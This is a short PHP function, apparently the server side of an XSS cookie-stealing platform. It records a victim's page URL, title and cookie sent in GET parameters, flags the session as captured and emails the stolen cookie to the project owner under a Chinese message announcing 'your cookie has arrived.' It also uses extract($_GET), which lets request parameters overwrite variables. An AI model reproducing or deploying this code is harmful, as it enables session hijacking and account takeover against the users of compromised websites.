function info() { $bid = intval($_GET['bid']); extract($_GET, EXTR_SKIP); if ($bid) { $info = new InfoModel($bid); $info->set(htmlentities($title), htmlentities($url), htmlentities($cookie)); $browser = new BrowserModel(); $data = $browser->fetch_first("*", array("bid" => $bid)); $uid = M("Project")->fetch_first("uid", array("pid" => $data['pid'])); $email = M("User")->fetch_first("email", array("uid" => $uid['uid'])); $email = $email['email']; if ($url && $cookie && $data['active'] == 0) { $browser->login($bid); $title = "[" . date("Y-m-d H:i:s", time()) . "] 亲爱的" . $_COOKIE['xing_name'] . ": 您要的cookie到了"; $content = "\r\n 开门 您的cookie到了 </br>\r\n url:{$url} </br>\r\n cookie:{$cookie} </br>\r\n 具体请见" . SITE_ROOT . "包邮哦 亲 !!!! "; if ($email) { if (SAE) { // sae 发送邮件 send_sae_mail($email, $title, $content); } else { send_mail($email, $title, $content); } } } } }